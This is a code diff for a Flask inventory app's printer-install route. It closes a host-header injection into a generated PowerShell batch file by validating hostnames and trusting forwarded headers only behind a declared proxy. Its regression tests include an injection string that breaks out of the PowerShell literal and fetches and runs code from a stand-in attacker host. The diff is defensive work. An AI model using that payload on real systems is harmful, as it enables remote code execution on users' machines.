diff --git a/plugins/printers/api/asset_routes.py b/plugins/printers/api/asset_routes.py index 3b3e7d39..fa14ac5e 100644 --- a/plugins/printers/api/asset_routes.py +++ b/plugins/printers/api/asset_routes.py @@ -3,7 +3,7 @@ import logging import re -from flask import Blueprint, request, Response +from flask import Blueprint, request, Response, current_app from flask_jwt_extended import jwt_required from shopdb.api import db, cache, Setting, Asset, AssetType, Vendor, Model, Communication, CommunicationType, AssetRelationship, RelationshipType, success_response, error_response, paginated_response, ErrorCodes, get_pagination_params, paginate_query @@ -380,6 +380,24 @@ def printer_install_list(): UNIVERSAL_INSTALL_VENDORS = frozenset({'HP', 'Xerox'}) +# A hostname and nothing else: letters, digits, dot, hyphen, optional :port. +# Anything outside this cannot reach the generated script, so the quote that +# would end the PowerShell literal never gets the chance. +_HOST_RE = re.compile(r'^[A-Za-z0-9.-]+(?::[0-9]{1,5})?$') + + +def _safe_host(value): + """A request-supplied host, or None when it is not one. + + The value reaches a single-quoted PowerShell -Uri literal in the generated + .bat, so it is validated rather than escaped: an allowlist of what a host + may contain is a smaller thing to get right than enumerating what a shell + does with the rest. + """ + host = (value or '').strip() + return host if host and _HOST_RE.match(host) else None + + def _batch_base_url(): """Base URL the generated .bat downloads installers from. Prefer the configured site_base_url (it already includes scheme + the /shopdb mount). @@ -387,12 +405,34 @@ def _batch_base_url(): Fallback matters: behind IIS the app sees http on a loopback port and its url_root drops the mount, so a naive request.url_root yields a broken http://127.0.0.1/installers/... URL. Rebuild from the forwarded Host + the - mount (script_root) and force https instead.""" + mount (script_root) and force https instead. + + THE FALLBACK IS THE DEFAULT PATH, not an edge case: site_base_url ships + blank. So the host it uses is caller-supplied on every fresh install, and + it lands unescaped inside a single-quoted PowerShell literal. X-Forwarded-Host + is only believed when a proxy is actually declared (TRUSTED_PROXY_COUNT) - + the same rule shopdb/utils/clientip.py applies to X-Forwarded-For, which was + centralised for this exact reason and did not cover the Host variant. Either + way the value is validated as a hostname before it is interpolated, and a + request that supplies neither a usable forwarded host nor a usable Host gets + a relative base rather than a poisoned absolute one. + """ base = (Setting.get('site_base_url') or '').strip().rstrip('/') if base: return base - host = request.headers.get('X-Forwarded-Host') or request.host + + host = None + if current_app.config.get('TRUSTED_PROXY_COUNT'): + host = _safe_host(request.headers.get('X-Forwarded-Host')) + if not host: + host = _safe_host(request.host) + root = (request.script_root or '').rstrip('/') + if not host: + # Same-origin relative URLs still download correctly from the browser + # that fetched the script. Better than emitting a host we cannot vouch + # for into a file that runs commands. + return root return 'https://%s%s' % (host, root) diff --git a/tests/test_plugins/test_printer_install_batch.py b/tests/test_plugins/test_printer_install_batch.py index e0c5eb6a..597f2043 100644 --- a/tests/test_plugins/test_printer_install_batch.py +++ b/tests/test_plugins/test_printer_install_batch.py @@ -102,3 +102,62 @@ def test_install_batch_resolves_vendor_via_model( def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype): resp = client.get('/api/printers/install-batch', headers=auth_headers) assert resp.status_code == 400 + + +# --- the generated script is a script: what reaches it must be a hostname ----- +# +# _batch_base_url() interpolates a request-supplied host into the single-quoted +# PowerShell -Uri literal of the .bat this route hands out, and site_base_url +# ships blank, so that fallback is the DEFAULT path rather than an edge case. +# A quote in the host would end the literal. These pin the three rules that stop +# it: validate the Host, only believe X-Forwarded-Host behind a declared proxy, +# and emit a relative base rather than a host we cannot vouch for. + +INJECT = "evil';iex(iwr http://attacker/x);'" + + +def test_install_batch_refuses_a_host_that_is_not_a_hostname( + client, db, auth_headers, printer_assettype): + hp = _vendor(db, 'HP') + pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP', + hostname='wjprn01', vendorid=hp.vendorid) + resp = client.get('/api/printers/install-batch?printerids=%d' % pid, + headers={**auth_headers, 'Host': INJECT}) + assert resp.status_code == 200 + bat = resp.get_data(as_text=True) + assert 'iex' not in bat + assert 'attacker' not in bat + # No host survived, so the download URL is relative rather than poisoned. + assert "-Uri '/installers/PrinterInstaller.exe'" in bat + + +def test_install_batch_ignores_forwarded_host_with_no_declared_proxy( + client, db, auth_headers, printer_assettype): + """TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and + must not be believed - the same rule clientip.py applies to + X-Forwarded-For.""" + hp = _vendor(db, 'HP') + pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP', + hostname='wjprn01', vendorid=hp.vendorid) + resp = client.get('/api/printers/install-batch?printerids=%d' % pid, + headers={**auth_headers, + 'X-Forwarded-Host': 'attacker.example'}) + assert resp.status_code == 200 + bat = resp.get_data(as_text=True) + assert 'attacker.example' not in bat + + +def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy( + client, db, auth_headers, printer_assettype, app): + hp = _vendor(db, 'HP') + pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP', + hostname='wjprn01', vendorid=hp.vendorid) + app.config['TRUSTED_PROXY_COUNT'] = 1 + try: + resp = client.get('/api/printers/install-batch?printerids=%d' % pid, + headers={**auth_headers, + 'X-Forwarded-Host': 'shopdb.example.net'}) + bat = resp.get_data(as_text=True) + assert 'https://shopdb.example.net/installers/' in bat + finally: + app.config['TRUSTED_PROXY_COUNT'] = 0